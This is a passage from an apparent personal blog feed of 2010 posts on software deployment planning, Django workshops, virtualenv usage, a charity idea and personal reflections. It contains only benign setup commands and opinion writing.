deployment even more complex, as there is no one-solution-fits-all approach to
managing our various components easily.&lt;/p>
&lt;p>Since it can be difficult and frustrating (especially for small teams like
mine, where we don&amp;rsquo;t have any dedicated sysadmins), many people tend to ignore
deployment, or put it off till the last minute. This is the way I used to
operate&amp;ndash;I would work on my code for weeks at a time, and then once I had some
features finished and bugs removed I would manually copy my code over to each
production server, carefully update my project files, and then restart the
necessary services and manually test like crazy to make sure I wasn&amp;rsquo;t breaking
anything.&lt;/p>
&lt;p>The approach I used to take was awful for numerous reasons. Among other
things:&lt;/p>
&lt;ul>
&lt;li>It made me scared to deploy code frequently. This means users get slower
updates, bugs get fixed slower, and every suffers.&lt;/li>
&lt;li>Deploying code would often cause downtime. One accidental &lt;code>cp&lt;/code> or &lt;code>rm&lt;/code>,
and your code is gone. It&amp;rsquo;s hard to recover from production mistakes.&lt;/li>
&lt;li>It is time consuming. Deploying code shouldn&amp;rsquo;t take hours.&lt;/li>
&lt;li>It made it difficult to test for code correctness. Infrequent deployment =
infrequent testing = infrequent integration with other team member&amp;rsquo;s code.
When we deployed, it would often cause other code issues that were unseen
in our development environments.&lt;/li>
&lt;/ul>
&lt;p>When Kurtis and I started discussing these issues, we decided it was time to do
something about it. We wanted to build a deployment system to make our lives
easier, our coding more effective, and our company more efficient.&lt;/p>
&lt;h2 id="our-requirements">Our Requirements&lt;/h2>
&lt;p>When we started planning out our deployment system and doing research, we
generated a list of requirements that (more or less) must be met by the system
of our choosing. Here they are:&lt;/p>
&lt;ul>
&lt;li>We should have three distinct environments: development, staging, and
production. There should never be any versions of code running on the
incorrect systems.&lt;/li>
&lt;li>Our development systems should always be running the latest version of or
&lt;code>develop&lt;/code> git branch.&lt;/li>
&lt;li>Our staging systems should always be running the latest version of our
&lt;code>master&lt;/code> branch.&lt;/li>
&lt;li>Our production systems should always be running the latest version of our
&lt;code>master&lt;/code> branch (but only if tests pass on staging).&lt;/li>
&lt;li>We should have a continuous integration system watch our git repositories,
and when changed, check out the latest version of our code, run tests on it
and if the tests pass deploy it to the appropriate environment.&lt;/li>
&lt;li>We should be able to run multiple levels of tests: unit tests, integration
tests, performance tests, and deployment tests, with each commit.&lt;/li>
&lt;li>We should be able to get meaningful statistics and notifications when we
break stuff, so that we can get it working again.&lt;/li>
&lt;li>Our system should be as self-healing as possible. If something goes wrong,
it should try to fix it, and only if it can&amp;rsquo;t figure out what to do should
we be notified.&lt;/li>
&lt;/ul>
&lt;p>Those are the main requirements we had. And I&amp;rsquo;d like to think that they are
still pretty solid. With those features, we should be able to focus on code,
and let everything else happen naturally.&lt;/p>
&lt;p>The three distinct environments are important. They can vary greatly from
organization-to-organization. For us, our development environment is local for
each developer. We write and test most of our code on our home boxes with a
combination of Rackspace boxes and Virtualbox environments as helpers. Our
staging and production environments are both in the same cloud, and identical
in almost every way. We use our staging as a live fail over for production,
and it serves as a great test bed for production code before putting it live.&lt;/p>
&lt;p>We use &lt;a href="http://jeffkreeftmeijer.com/2010/why-arent-you-using-git-flow/" title="git flow">git flow&lt;/a> at work, which explains our git branching model.
Basically, all our branches have standard naming convention, which allows us
to do stuff like say that all code in the &lt;code>master&lt;/code> branch should be deployed
straight to staging / production, and that all code in &lt;code>develop&lt;/code> should be
deployed straight to development.&lt;/p>
&lt;p>The continuous integration (and deployment) system should be able to run tests
and deploy code. This step has the biggest impact on our work flow. Knowing
that every time I &lt;code>git commit&lt;/code>, my code is automatically tested and deployed to
all development, staging, and production boxes (depending on the git branch) is
an awesome feeling. This enables us to do a lot of cool things. Push bug
fixes out immediately, push features out immediately, instantly test for
problems, discover pain points earlier, etc.&lt;/p>
&lt;p>The ability to run multiple levels of tests is also extremely important. Most
folks (those who do any sort of testing, anyhow) will stop at unit tests.
However, especially when you are designing large scale systems with databases,
you need to test for concurrency problems, and many other factors that simple
unit tests won&amp;rsquo;t catch. This means that we need the ability to launch
performance test suites, and other remote tests that MUST run against a live
development or staging environment to be useful.&lt;/p>
&lt;p>Our requirement to get feedback is a no-brainer. What is the point of
automating stuff if you can&amp;rsquo;t get reports when things don&amp;rsquo;t work?&lt;/p>
&lt;p>And lastly, we chose to build in the self-healing requirement so that we would
not end up wasting our time dealing with issues that are best solved
automatically.&lt;/p>
&lt;h2 id="conclusion">Conclusion&lt;/h2>
&lt;p>What are your experiences with deployment? I&amp;rsquo;m extremely glad that we decided
to tackle this issue recently. We&amp;rsquo;ve still got quite a while to go before our
system is perfect, but we&amp;rsquo;re making a lot of good progress, and have already
saved hundreds of man hours with some fairly simple automation.&lt;/p>
&lt;p>Sometime in the next week or so I&amp;rsquo;ll throw up another article on our deployment
system, and dive into some technical details.&lt;/p></description></item><item><title>Reflections on the Django Deployment and Ecosystem Workshops</title><link>https://rdegges.com/2010/reflections-on-the-django-deployment-and-ecosystem-workshops/</link><pubDate>Sun, 12 Dec 2010 00:00:00 -0800</pubDate><author>r@rdegges.com (Randall Degges)</author><guid>https://rdegges.com/2010/reflections-on-the-django-deployment-and-ecosystem-workshops/</guid><description>&lt;p>&lt;img src="https://rdegges.com/2010/reflections-on-the-django-deployment-and-ecosystem-workshops/dump-truck-sketch.png" alt="Dump Truck Sketch" title="Dump Truck Sketch">
&lt;/p>
&lt;p>Earlier this week, I attended the two day &lt;a href="http://www.revsys.com/" title="Revolution Systems">Revolution Systems&lt;/a> Django
workshop in Santa Monica, CA. Day one was the &amp;ldquo;Django Deployment Workshop&amp;rdquo;,
and day two was the &amp;ldquo;Django Ecosystem&amp;rdquo; workshop, both of which were led by
&lt;a href="http://jacobian.org/" title="Jacob Kaplan-Moss">Jacob Kaplan-Moss&lt;/a>, one of the creators of the Django web framework.&lt;/p>
&lt;p>I&amp;rsquo;m a huge fan of python and Django. I use them for fun and for work, and
couldn&amp;rsquo;t be happier. One of the reasons I wanted to attend the RevSys
workshops was to meet Jacob, and also to see how he handles very large
scalability issues (which I&amp;rsquo;m currently solving at my work).&lt;/p>
&lt;p>If you&amp;rsquo;re interested in attending one of these workshops, please keep reading.&lt;/p>
&lt;h2 id="django-deployment-workshop">Django Deployment Workshop&lt;/h2>
&lt;p>This workshop covered all areas of deployment for Django apps. Some of the
topics covered included:&lt;/p>
&lt;ul>
&lt;li>Cloud providers. In the class Jacob discussed some of the dominant cloud
server providers that are out there (namely Rackspace and Amazon), and
compared the benefits and drawbacks of each.&lt;/li>
&lt;li>Bootstrapping servers with &lt;a href="http://wiki.opscode.com/display/chef/Home" title="Chef">Chef&lt;/a> (or &lt;a href="https://puppetlabs.com/" title="Puppet">Puppet&lt;/a>). If you need to manage
lots of servers, you will be hard pressed to find a better tool for the job
than Chef or Puppet. Both allow you to build simple configuration files
which keep all of your servers synced. For example, you can specify which
packages should be installed on all web servers, which files must be
present, how to install custom code and software, etc. With a single
configuration update, you can make changes to hundreds (or more) servers,
removing the need for manual systems administration in most cases.&lt;/li>
&lt;li>Using &lt;code>pip&lt;/code> to build and distribute your Django sites. &lt;code>pip&lt;/code> manages
project dependencies in a simple way, and can even fetch and build code
straight from version control systems (git, svn, etc.), which makes it a
great tool for large companies who may not have the freedom to store code
on the PyPI mirrors.&lt;/li>
&lt;li>Sandboxing your python and Django code using &lt;code>virtualenv&lt;/code>. &lt;code>virtualenv&lt;/code>
lets you build local python environments that your applications can run in,
ensuring that regardless of OS updates and other worrisome issues, your
code will still run as it should.&lt;/li>
&lt;li>Using &lt;a href="http://docs.fabfile.org/en/latest/" title="fabric">fabric&lt;/a> to build simple deployment scripts, which allow you to
push the latest version of your code into production, staging, or
development with a single command.&lt;/li>
&lt;li>Storing media content across multiple web servers using Django&amp;rsquo;s file store
backends.&lt;/li>
&lt;li>Monitoring your networks with &lt;a href="http://munin-monitoring.org/" title="munin">munin&lt;/a>.&lt;/li>
&lt;li>Monitoring your server processes with &lt;a href="http://upstart.ubuntu.com/" title="upstart">upstart&lt;/a>.&lt;/li>
&lt;li>Monitoring your logs with &lt;a href="https://getsentry.com/welcome/" title="sentry">sentry&lt;/a>.&lt;/li>
&lt;li>Using &lt;a href="http://www.celeryproject.org/" title="celery">celery&lt;/a> to distribute asynchronous, resource intensive tasks to
improve site performance.&lt;/li>
&lt;li>Load balancing web requests to a variable amount of web servers.&lt;/li>
&lt;li>Using &lt;a href="http://www.postgresql.org/" title="PostgreSQL">PostgreSQL&lt;/a> to efficiently handle lots of database queries.&lt;/li>
&lt;li>And a lot of other cool stuff.&lt;/li>
&lt;/ul>
&lt;p>Overall I was really impressed with this workshop. The class size was small,
which was awesome. We got to spend a ton of time with Jacob, and really cover
interesting areas of scaling and deployment which every company should be
using.&lt;/p>
&lt;p>Jacob was very thorough, and it was enlightening listen to him talk about the
various technologies and methods that he uses to help scale extremely large
systems.&lt;/p>
&lt;p>Regardless of whether you&amp;rsquo;re developing Django apps for fun or work, if you
have a chance to attend the Django Deployment Workshop, do so. You won&amp;rsquo;t
regret it.&lt;/p>
&lt;h2 id="django-ecosystem-workshop">Django Ecosystem Workshop&lt;/h2>
&lt;p>The Django Ecosystem Workshop discussed various open source Django apps, why
you should know about them, and how to use them. I won&amp;rsquo;t go into the details
here (because there were far too many apps covered to remember), but the
workshop provided solutions to pretty much all common site problems in a simple
reusable manner.&lt;/p>
&lt;p>This workshop was particularly neat because I hadn&amp;rsquo;t played around with a lot
of the apps discussed, and now have a massive TODO list which includes
implementing a good portion of these apps into my production systems at work.&lt;/p>
&lt;p>As with the Django Deployment Workshop, Jacob was very thorough, and helped
with any (and all) questions that everyone had.&lt;/p>
&lt;h2 id="my-thoughts">My Thoughts&lt;/h2>
&lt;p>Both workshops were excellent, and well worth the money. Jacob did an amazing
job covering some very complex topics, and was careful to answer everyone&amp;rsquo;s
questions and make sure that everyone was on the same page.&lt;/p>
&lt;p>Luckily, the class size was small both days, which gave everyone a chance to
get to know each other, and I met some really cool people. Jacob in particular
is a really awesome guy, and it was a great experience to hang out with him and
get to pick his brain on various topics.&lt;/p>
&lt;p>I highly recommend you sign up for the classes when they&amp;rsquo;re available next. As
long as you&amp;rsquo;re a competent Django developer, you should have no problem
following along with the topics discussed, and you will surely learn a lot as
you go.&lt;/p>
&lt;p>A lot of the scalability issues discussed in the workshops are ones I&amp;rsquo;m
currently solving at my workplace, and so I plan to do some very detailed write
ups on my methods and tools over the coming weeks.&lt;/p></description></item><item><title>Being Myself</title><link>https://rdegges.com/2010/being-myself/</link><pubDate>Thu, 02 Dec 2010 00:00:00 -0800</pubDate><author>r@rdegges.com (Randall Degges)</author><guid>https://rdegges.com/2010/being-myself/</guid><description>&lt;p>&lt;img src="https://rdegges.com/2010/being-myself/reaper-sketch.png" alt="Reaper Sketch" title="Reaper Sketch">
&lt;/p>
&lt;p>I&amp;rsquo;ve been thinking a lot about my life lately. Maybe it&amp;rsquo;s because the new year
is almost here, or maybe it is because I&amp;rsquo;ve been having a lot of weird &amp;ldquo;grown
up&amp;rdquo; life experiences.&lt;/p>
&lt;p>These past couple years (I left uni ~2.5 years ago) have been the best in my
life. I learned what the real world was like, what I suck at, what I&amp;rsquo;m good
at, and what makes me happy. A few weeks ago I learned what type of person I
really am (I&amp;rsquo;m a hippie), and have been slowly coming to terms with myself.&lt;/p>
&lt;p>Up until now, I haven&amp;rsquo;t really been myself. I&amp;rsquo;ve made a lot of mistakes.
Among other things, I&amp;rsquo;ve:&lt;/p>
&lt;ul>
&lt;li>Not stood up for what I believe in.&lt;/li>
&lt;li>Lied to myself.&lt;/li>
&lt;li>Tried to make everyone happy.&lt;/li>
&lt;li>Hidden my true intentions and thoughts from friends and strangers.&lt;/li>
&lt;li>Cared too much about what other people think, instead of myself.&lt;/li>
&lt;li>Been too self conscious about myself.&lt;/li>
&lt;li>Not done things because it seemed &amp;rsquo;too crazy'.&lt;/li>
&lt;li>Been afraid to take risks.&lt;/li>
&lt;li>Allowed myself to be uptight and stressed.&lt;/li>
&lt;/ul>
&lt;p>Life is short. Really short. From now on I&amp;rsquo;m going to forget about other
people, and do what I think is right. I&amp;rsquo;m going to take risks, have fun, and
enjoy my life as much as I can.&lt;/p>
&lt;p>So, I&amp;rsquo;d like to introduce you to the new Randall. Here are a few facts about
me (that you may not know):&lt;/p>
&lt;ul>
&lt;li>I love puns. Seriously. I like a ton of lame jokes.&lt;/li>
&lt;li>I like hip-hop, reggae, pop, and rock music.&lt;/li>
&lt;li>I hate pants, and all formal wear. The only stuff I like wearing are
shorts, t-shirts, and sandals.&lt;/li>
&lt;li>I love reading tech books. I&amp;rsquo;m not that big on fiction. They&amp;rsquo;re fun!&lt;/li>
&lt;li>I&amp;rsquo;m a total hippie. I&amp;rsquo;m super liberal.&lt;/li>
&lt;li>I like to use unnecessary adjectives (e.g. &amp;lsquo;super&amp;rsquo;, &amp;lsquo;awesome&amp;rsquo;, etc.).&lt;/li>
&lt;li>I like (parenthesis).&lt;/li>
&lt;li>I hate the US government.&lt;/li>
&lt;li>I&amp;rsquo;m an atheist. Pro abortion. Pro gay marriage.&lt;/li>
&lt;li>I&amp;rsquo;m spontaneous. I like driving to the beach at midnight and going to far
away places on a whim.&lt;/li>
&lt;li>I&amp;rsquo;m a minimalist.&lt;/li>
&lt;li>I want everyone to be awesome to each other.&lt;/li>
&lt;li>I&amp;rsquo;m not very social, but I want to be.&lt;/li>
&lt;li>Ideally, I&amp;rsquo;d like to live on (or near) the beach, and listen to some loud
tunes while coding all day and night.&lt;/li>
&lt;li>I want to leave LA, and move to Northern California, Hawaii, or another
country.&lt;/li>
&lt;/ul>
&lt;p>I&amp;rsquo;m going to start living the way I want to, and keeping it real. If you wanna
hang out, &lt;a href="mailto:r@rdegges.com" title="Randall Degges' Email">send me an email&lt;/a>!&lt;/p></description></item><item><title>Non-Profit Idea: Neverending Charity</title><link>https://rdegges.com/2010/non-profit-idea-neverending-charity/</link><pubDate>Fri, 15 Oct 2010 00:00:00 -0700</pubDate><author>r@rdegges.com (Randall Degges)</author><guid>https://rdegges.com/2010/non-profit-idea-neverending-charity/</guid><description>&lt;p>&lt;img src="https://rdegges.com/2010/non-profit-idea-neverending-charity/waterfall-sketch.png" alt="Waterfall Sketch" title="Waterfall Sketch">
&lt;/p>
&lt;p>I often have business / charity ideas that I would eventually like to act on.
I (stupidly) never kept a record of them anywhere, until today.&lt;/p>
&lt;p>I ordered a new &lt;a href="http://www.amazon.com/gp/product/8883701127/ref=as_li_ss_tl?ie=UTF8&amp;amp;camp=1789&amp;amp;creative=390957&amp;amp;creativeASIN=8883701127&amp;amp;linkCode=as2&amp;amp;tag=rdegges-20" title="Moleskine Notebook">Moleskine notebook&lt;/a> from Amazon, and decided to use it as an
idea notebook. So from now on, whenever I get a business / charity idea, I&amp;rsquo;ll
write it down in there, so that I can eventually I can either develop them
myself, or cross them off my list as someone-else-already-implemented.&lt;/p>
&lt;p>My first idea (I&amp;rsquo;ve had this floating around in the back of my head for quite
some time now) is called&amp;hellip;&lt;/p>
&lt;h2 id="neverending-charity">Neverending Charity&lt;/h2>
&lt;p>Neverending Charity is a non-profit organization that accepts monetary
donations, and places them into high-yield savings accounts.&lt;/p>
&lt;p>The idea is that by pooling money from many people who donate, and storing that
money in high-yield savings accounts (to gain a certain percentage as interest
each month), the charity will never run out of money to donate to its cause.&lt;/p>
&lt;p>At the end of each month, Neverending Charity will take the interest that has
accumulated on all donated monies, and donate it to a specific cause. The more
money that people donate to Neverending Charity, the more money that it will be
able to give away at the end of each month.&lt;/p>
&lt;p>Since Neverending Charity will be (for the most part) completely automated,
there will be little to no operational cost, and 100% (or close to it) of
donated funds can be given away. It will be self-sustaining (never have to
worry about recessions, or anything like that), and will be able to provide an
eternity of awesomeness without worry.&lt;/p>
&lt;h2 id="the-problem-with-current-charities">The Problem With Current Charities&lt;/h2>
&lt;p>I really love charities. Any group that can really change the world is a good
thing.&lt;/p>
&lt;p>The problem with most charities that exist now, however, is overhead. The cost
of running charities can be high, depending on the type of organization.
Paying for physical stores / collection centers like the Salvation Army or
Goodwill can really rack up expenses. Not to mention the fact that they have
to pay tons of employees to handle goods and organize locations.&lt;/p>
&lt;p>The beauty of Neverending Charity is that it is simple enough to require very
little operational cost. Most of the process can be fully automated. And what
can&amp;rsquo;t be automated can be done (for the most part) online. Creating Facebook
fan pages, twitter accounts, and performing SEO optimization on the website can
all be done with very little effort and cost.&lt;/p>
&lt;h2 id="the-math">The Math&lt;/h2>
&lt;p>Obviously, the downside to Neverending Charity is that you aren&amp;rsquo;t generating
enormous donations every month (at least, not initially). So let&amp;rsquo;s do some
math below to see how much donation money Neverending Charity would need to
reach certain markers.&lt;/p>
&lt;p>For all examples below, we&amp;rsquo;ll just assume that the interest rate on our
high-yield savings account is 2%. This is an unrealistically low number given
the amount of money that we&amp;rsquo;ll be collecting interest on, but we&amp;rsquo;ll use it for
conservative purposes.&lt;/p>
&lt;p>&lt;strong>Money in Bank -&amp;gt; Monthly Donations&lt;/strong>&lt;/p>
&lt;pre tabindex="0">&lt;code>$10,000 -&amp;gt; $16.67

$100,000 -&amp;gt; $166.67

$1,000,000 -&amp;gt; $1,666.67

$10,000,000 -&amp;gt; $16,666.67

$1,000,000,000 -&amp;gt; $1,666,666.67
&lt;/code>&lt;/pre>&lt;p>The numbers required to make a big impact are large, but don&amp;rsquo;t forget-once
people donate, their donation will live on forever and continuously increase
the monthly donation account.&lt;/p>
&lt;p>Since Neverending Charity will last forever, the cumulative effort of all
contributers will make a large difference when combined.&lt;/p>
&lt;h2 id="making-it-interesting">Making it Interesting&lt;/h2>
&lt;p>Neverending Charity really appeals to me (as a programmer), because it can be
automated to such an enormous extent. Given enough donations and popularity,
it could very well generate thousands of dollars a month to give to good
causes.&lt;/p>
&lt;p>But, let&amp;rsquo;s make things even more interesting.&lt;/p>
&lt;p>What if instead of giving money to a single cause every month, Neverending
Charity allowed donors to vote on which organization should receive all
proceeds for the given month?&lt;/p>
&lt;p>By allowing donors to vote (whichever group / organization gets the most votes
at the end of the month gets the interest for that month) for which
organization they think should get help each month, Neverending Charity will be
able to reach a larger audience of contributers, and collectively do more good
in the world.&lt;/p>
&lt;p>Democratizing the charity process is something I haven&amp;rsquo;t seen done before, and
could be an extremely popular premise.&lt;/p>
&lt;h2 id="wrap-up">Wrap Up&lt;/h2>
&lt;p>So, in a nutshell, Neverending Charity will be a non-profit group that
leverages the power of the internet, large amounts of people, and banks to make
the world a better place, one month at a time-forever.&lt;/p></description></item><item><title>Happiness is Simplicity</title><link>https://rdegges.com/2010/happiness-is-simplicity/</link><pubDate>Fri, 10 Sep 2010 00:00:00 -0700</pubDate><author>r@rdegges.com (Randall Degges)</author><guid>https://rdegges.com/2010/happiness-is-simplicity/</guid><description>&lt;p>&lt;img src="https://rdegges.com/2010/happiness-is-simplicity/field-sketch.png" alt="Field Sketch" title="Field Sketch">
&lt;/p>
&lt;p>I&amp;rsquo;ve been feeling especially thoughtful the past several weeks, and have been
doing a lot of thinking about happiness in my life. I won&amp;rsquo;t pretend to know
what makes everyone happy, as I&amp;rsquo;m certain that it is different for every
individual, but I believe that I&amp;rsquo;ve discovered what makes me happy: simplicity.&lt;/p>
&lt;h2 id="what-my-happiness-isnt">What My Happiness Isn&amp;rsquo;t&lt;/h2>
&lt;p>To fully explain what my happiness is (as it may be hard for some people to
understand), I&amp;rsquo;ll start by explaining several things that my happiness
distinctly isn&amp;rsquo;t.&lt;/p>
&lt;h3 id="fuck-you-money">&amp;lsquo;Fuck You&amp;rsquo; Money&lt;/h3>
&lt;p>I frequently see threads on &lt;a href="http://news.ycombinator.com/" title="Hacker News">HackerNews&lt;/a> where I see users discussing how
they want to make their own successful startup, work hard for a year or two,
then get bought out and live happily ever after. I like to call these people
the &amp;lsquo;Paul Grahammers&amp;rsquo;. They live and die by the philosophy (made famous by the
really smart &lt;a href="http://www.paulgraham.com/" title="Paul Graham">Paul Graham&lt;/a>), that you should create your own wealth by
working on a startup, and eventually selling it to a larger company.&lt;/p>
&lt;p>Now, before you get angry, I &lt;em>do&lt;/em> like Paul Graham, and think that his advice
is awesome, it just doesn&amp;rsquo;t apply to me. I don&amp;rsquo;t need much money.&lt;/p>
&lt;p>There was a time (a long time, really), when I thought that being rich would
make me happy. I could travel anywhere, buy anything, and enjoy the best
luxuries in life.&lt;/p>
&lt;p>But, I don&amp;rsquo;t need that much money. I need just enough to:&lt;/p>
&lt;ul>
&lt;li>Make payments on my student loans.&lt;/li>
&lt;li>Make car payments.&lt;/li>
&lt;li>Pay rent.&lt;/li>
&lt;li>Buy groceries each month.&lt;/li>
&lt;li>Buy a new computer every year or two.&lt;/li>
&lt;li>Get my wife a present every now and then :)&lt;/li>
&lt;/ul>
&lt;p>I don&amp;rsquo;t buy that much stuff. As a matter-a-fact, I&amp;rsquo;ve got 150$ worth of
&lt;a href="http://www.amazon.com/?_encoding=UTF8&amp;amp;camp=1789&amp;amp;creative=390957&amp;amp;linkCode=ur2&amp;amp;tag=rdegges-20" title="Amazon">Amazon&lt;/a> gift cards sitting on my desk, which I have no idea how to spend, as
I already own everything I want.&lt;/p>
&lt;p>My only luxury purchases are books (but I&amp;rsquo;ve got a lot of catching up to do, so
won&amp;rsquo;t buy any others for a while).&lt;/p>
&lt;h3 id="short-workweeks">Short Workweeks&lt;/h3>
&lt;p>I&amp;rsquo;m a big fan of books. I read everyday, and love it. Most of the
&lt;a href="http://www.amazon.com/gp/cdp/member-reviews/A3E3Y9R7W5NAI8/?ie=UTF8&amp;amp;camp=1789&amp;amp;creative=390957&amp;amp;linkCode=ur2&amp;amp;sort_by=MostRecentReview&amp;amp;tag=rdegges-20" title="Randall Degges' Amazon Reviews">books I read&lt;/a> are tech related, but I also enjoy business and lifestyle
books. I can&amp;rsquo;t count how many of them preach that a good life is a free life
(away from work).&lt;/p>
&lt;p>I also can&amp;rsquo;t seem to escape this dogma when talking to friends, co-workers, and
relatives: nobody wants to work.&lt;/p>
&lt;p>I like working. I do something I love (coding) everyday, and couldn&amp;rsquo;t be
happier. For me, working is about learning. Everyday I devote myself to
solving a new problem, and, along the way, learn new stuff.&lt;/p>
&lt;p>I&amp;rsquo;m not saying that I want to work 24 hours a day, 7 days a week, 365 days a
year&amp;ndash;I &lt;em>highly&lt;/em> value time off&amp;ndash;but I do enjoy working.&lt;/p>
&lt;h3 id="religion">Religion&lt;/h3>
&lt;p>Just some quick background: my father was a Christian minister for years, and
is now the president of a large Christian organization. My mother as well as
some of my siblings are also religious.&lt;/p>
&lt;p>I&amp;rsquo;m not a religious guy. When I was in my teens, I began questioning my
beliefs, and soon realized that I was unable to accept religion in my life, for
numerous reasons that I won&amp;rsquo;t go into here.&lt;/p>
&lt;p>The important bit is, I know a &lt;em>lot&lt;/em> of people who prescribe to the idea that
in order to be happy, you must have a good relationship with God, or some sort
of higher being.&lt;/p>
&lt;p>This could not be more false. As an atheist, I&amp;rsquo;ve been living happily and
carefree for quite some time now.&lt;/p>
&lt;p>Living without religion, and not trying to achieve acceptance from a creator
has been a very liberating experience in my life, and constantly reminds me how
lucky I am to be here, and how precious every day is.&lt;/p>
&lt;h2 id="what-my-happiness-is">What My Happiness Is&lt;/h2>
&lt;p>The things that truly make me happy are simple pleasures. Some of them I&amp;rsquo;ve
only recently come to terms with, and some have been clear to me for as long as
I can remember.&lt;/p>
&lt;h3 id="silence">Silence&lt;/h3>
&lt;p>Silence is highly underrated. I&amp;rsquo;ve noticed more and more as I&amp;rsquo;ve grown up,
that most people tend to be afraid of silence.&lt;/p>
&lt;p>In today&amp;rsquo;s world, there is constant movement and noise: Facebook, Twitter, news
sites, phone calls, text messages, video conferences, etc. It seems like no
matter what, people are compelled to be constantly moving, working, and
talking.&lt;/p>
&lt;p>I love silence.&lt;/p>
&lt;p>It seems to accentuate the beauty of the world. The sun quietly setting over
the ocean, the sun rising over the mountains, the short time I lie in bed
before falling asleep-they all make me happy.&lt;/p>
&lt;h3 id="love">Love&lt;/h3>
&lt;p>I got married recently (April 3, 2010) to my high school sweetheart. I&amp;rsquo;ve
loved her for a long time, and couldn&amp;rsquo;t possibly be happier with another
person.&lt;/p>
&lt;p>We haven&amp;rsquo;t always had the luxury of spending a lot of time together through our
relationship, but have recently been able to spend a lot of time together, and
it has made me realize how important spending time with her really is to my
overall happiness.&lt;/p>
&lt;p>Falling asleep together at night, waking up together in the morning, and
talking to each other throughout the day all make life so much better.&lt;/p>
&lt;h3 id="nature">Nature&lt;/h3>
&lt;p>Another simple (and underrated) pleasure is nature.&lt;/p>
&lt;ul>
&lt;li>Taking a midnight drive to the beach, and walking along the coast.&lt;/li>
&lt;li>Watching squirrels chase each other around a tree.&lt;/li>
&lt;li>Watching rain clouds slowly cover the sky.&lt;/li>
&lt;li>Lying down on a blanket at the park, staring at the trees.&lt;/li>
&lt;li>Looking up into the night sky at stars.&lt;/li>
&lt;/ul>
&lt;p>I can&amp;rsquo;t begin to explain how relaxing and satisfying it is to me to step
outside for a few minutes each day and take a deep breath.&lt;/p>
&lt;p>Feeling that I&amp;rsquo;m a part of something much larger and more important than myself
is a good feeling. It makes me feel happy, peaceful, and relaxed.&lt;/p>
&lt;h2 id="simplicity">Simplicity&lt;/h2>
&lt;p>I like to think that I lead a simple life. I eat, sleep, work, learn, and
play.&lt;/p>
&lt;p>After seriously analyzing my life these past several weeks, I&amp;rsquo;ve come to the
clear conclusion that simplicity is what makes me happy. I used to think that
happiness was a complex thing, something that only the most wealthy and
successful people were able to obtain, but I&amp;rsquo;ve come to realize the opposite.&lt;/p>
&lt;p>My happiness has been defined by the removal of unnecessary and distracting
things, as opposed to the collection and accumulation of more.&lt;/p></description></item><item><title>Why Don't You Use virtualenvwrapper?</title><link>https://rdegges.com/2010/why-dont-you-use-virtualenvwrapper/</link><pubDate>Wed, 08 Sep 2010 00:00:00 -0700</pubDate><author>r@rdegges.com (Randall Degges)</author><guid>https://rdegges.com/2010/why-dont-you-use-virtualenvwrapper/</guid><description>&lt;p>&lt;img src="https://rdegges.com/2010/why-dont-you-use-virtualenvwrapper/crumpled-paper-sketch.png" alt="Crumpled Paper Sketch" title="Crumpled Paper Sketch">
&lt;/p>
&lt;p>If you&amp;rsquo;re a python programmer, you&amp;rsquo;ve most likely heard of &lt;a href="https://pypi.python.org/pypi/virtualenv" title="Virtualenv on PyPI">virtualenv&lt;/a>. If
you haven&amp;rsquo;t, then you need to check it out.&lt;/p>
&lt;blockquote>
&lt;p>virtualenv is a tool to create isolated Python environments.&lt;/p>
&lt;/blockquote>
&lt;p>In a nutshell, you can create as many &lt;em>virtual environments&lt;/em> as you want. Each
of these &lt;em>virtual environments&lt;/em> is a small directory structure, which contains
a copy of your python interpreter(s), and provides a sandbox environment in
which you can install only the necessary packages you need to run your project,
as well as remove your programs&amp;rsquo; dependence on system packages and python
versions.&lt;/p>
&lt;h2 id="virtualenvwrapper-rocks">virtualenvwrapper Rocks!&lt;/h2>
&lt;p>&lt;code>virtualenvwrapper&lt;/code> (available via &lt;code>pip&lt;/code> or &lt;code>easy_install&lt;/code>), is a set of
scripts that makes managing multiple virtual environments easier-much easier.&lt;/p>
&lt;p>In my day-to-day work, I typically use &lt;code>virtualenv&lt;/code> to create various test
environments. Let&amp;rsquo;s say I want to test out a new package in my project, I may
do something like:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-console" data-lang="console">&lt;span class="line">&lt;span class="cl">&lt;span class="go">rdegges@solitude:~/random_project$ virtualenv --no-site-packages env
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">New python executable in env/bin/python
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">Installing setuptools............done.
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">rdegges@solitude:~/random_project$ . env/bin/activate
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">(env)rdegges@solitude:~/random_project$ pip install nose
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">Downloading/unpacking nose
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go"> Downloading nose-0.11.4.tar.gz (256Kb): 256Kb downloaded
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go"> Running setup.py egg_info for package nose
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go"> no previously-included directories found matching &amp;#39;doc/.build&amp;#39;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">Installing collected packages: nose
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go"> Running setup.py install for nose
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go"> no previously-included directories found matching &amp;#39;doc/.build&amp;#39;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go"> Installing nosetests-2.6 script to /home/rdegges/random_project/env/bin
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go"> Installing nosetests script to /home/rdegges/random_project/env/bin
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">Successfully installed nose
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">Cleaning up...
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">&lt;/span>&lt;span class="gp">#&lt;/span> &lt;span class="k">do&lt;/span> some testing here ...
